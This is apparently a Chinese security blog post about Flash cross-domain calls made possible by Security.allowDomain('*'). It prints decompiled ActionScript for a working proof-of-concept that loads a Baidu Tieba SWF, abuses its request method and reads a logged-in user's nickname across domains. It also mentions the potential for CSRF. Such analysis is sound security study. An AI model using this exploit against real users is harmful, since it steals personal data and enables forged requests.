flash被跨域调用导致的安全风险
flash也是可以和js一样动态的请求和加载,类似这样 a.com上的a.swf
1var myLoader:Loader = new Loader();
2var url:URLRequest = new URLRequest("http://b.com/b.swf");
3myLoader.load(url);
4addChild(myLoader);
但是默认情况下是swf是不能被跨域引用的,所以这个调用不一定成功,只有在b.swf设置了System.security.allowDomain("a.com")
或者System.security.allowDomain("*")
的情况下才可以。
这样的话,b.swf中的有一些方法就可以在a.swf中调用了,而且发送的请求会显示来自b.swf,造成了跨域请求,大部分的浏览器是携带cookies的(貌似safari不发送)。
在 http://weibo.com/2313289447/CmZQrqa4R?type=comment 里面有一个跨域获取百度贴吧用户名的demo,就是利用了百度贴吧里面一个swf的这个漏洞。swf在这也备份了一个。
首先看一下exp的反编译后的代码。
1package {
2 import flash.utils.*;
3 import flash.display.*;
4 import flash.system.*;
5 import flash.net.*;
6 import flash.events.*;
7 import flash.external.*;
8
9 public class exp extends Sprite {
10
11 private static const PATH:String = "baidu.vote.DataManager";
12 private static const URL:String = "http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf";
13
14 private var clsExp;
15 private var clsRes;
16 private var nick:String;
17
18 public function exp(){
19 var ld:* = null;
20 var tid:* = 0;
21 super();
22 Security.allowDomain("*");
23 ld = new Loader();
24 ld.load(new URLRequest(URL));
25 addChild(ld);
26 tid = setInterval(function ():void{
27 try {
28 clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);
29 clsRes = ld.contentLoaderInfo.applicationDomain.getDefinition("baidu.vote.enumerate.Constants");
30 } catch(e:Error) {
31 return;
32 };
33 clearInterval(tid);
34 ready();
35 }, 100);
36 }
37 private function load(url:String):void{
38 var obj:* = this.clsExp.getInstance();
39 obj.requestPageData({
40 r:1,
41 voteId:1,
42 tn:1
43 });
44 this.clsRes.URL_VOTE_DETAIL = (url + "#");
45 obj.requestVoteDetail();
46 }
47 private function ready():void{
48 loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function (e:UncaughtErrorEvent):void{
49 complete(e.error.text);
50 });
51 this.load("http://tieba.baidu.com/");
52 }
53 private function complete(data:String):void{
54 var arr:Array;
55 arr = data.match(/"name": "([^"]+)/);
56 if (arr){
57 this.nick = arr[1];
58 };
59 ExternalInterface.call("bdcallback", this.nick);
60 }
61
62 }
63}//package
加载了http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf
这个swf,然后调用了里面的requestVoteDetail
方法,我们再反编译一下百度贴吧的swf,看看这个方法是干什么的。
1private function initialize():void{
2 System.useCodePage = true;
3 Security.allowDomain("*");
4 stage.scaleMode = "noScale";
5 ......
请求网络的代码
1public function requestVoteDetail():void{
2 var _local1:String = Constants.URL_VOTE_DETAIL;
3 _local1 = (_local1 + pageData.voteId);
4 _local1 = (_local1 + ("?alt=json&stamp=" + Math.random()));
5 var _local2:URLRequest = new URLRequest(_local1);
6 var _local3:URLLoader = new URLLoader();
7 _local3.addEventListener(Event.COMPLETE, onVoteDetailComplete);
8 _local3.addEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
9 _local3.load(_local2);
10 }
处理访问数据的方法
1private function onVoteDetailComplete(_arg1:Event):void{
2 var _local2:URLLoader = (_arg1.currentTarget as URLLoader);
3 _local2.removeEventListener(Event.COMPLETE, onVoteDetailComplete);
4 _local2.removeEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
5 var _local3:String = (_local2.data as String);
6 _voteDetail = VoteDetail.fromJsonString(_local3);
7 if (((_voteDetail) && ((_voteDetail.errno == 0)))){
8 dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_OK));
9 } else {
10 dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_ERROR));
11 };
12 }
然后是json解码
1public static function fromJsonString(_arg1:String, _arg2:Boolean=false):VoteDetail{
2 var _local3:Object = JSON.decode(_arg1);
3 return (fromObject(_local3, _arg2));
4 }
但是这个地方请求获取的是html,不是json,所以处理就会抛出异常,自己catch住就好了,异常的信息里面是包含html的。
这样就造成了一个跨域读取的漏洞,不仅仅是获取用户名,更可以csrf啊。
ps: 在wooyun上搜flash漏洞的时候,我才发现这个漏洞其实已经被报告给百度了,竟然还没修复,23333333
参考
http://www.cnblogs.com/index-html/p/swf-reflect-priv.html
http://wooyun.org/bugs/wooyun-2010-0110065
其他的flash安全相关的文章 http://drops.wooyun.org/tips/2924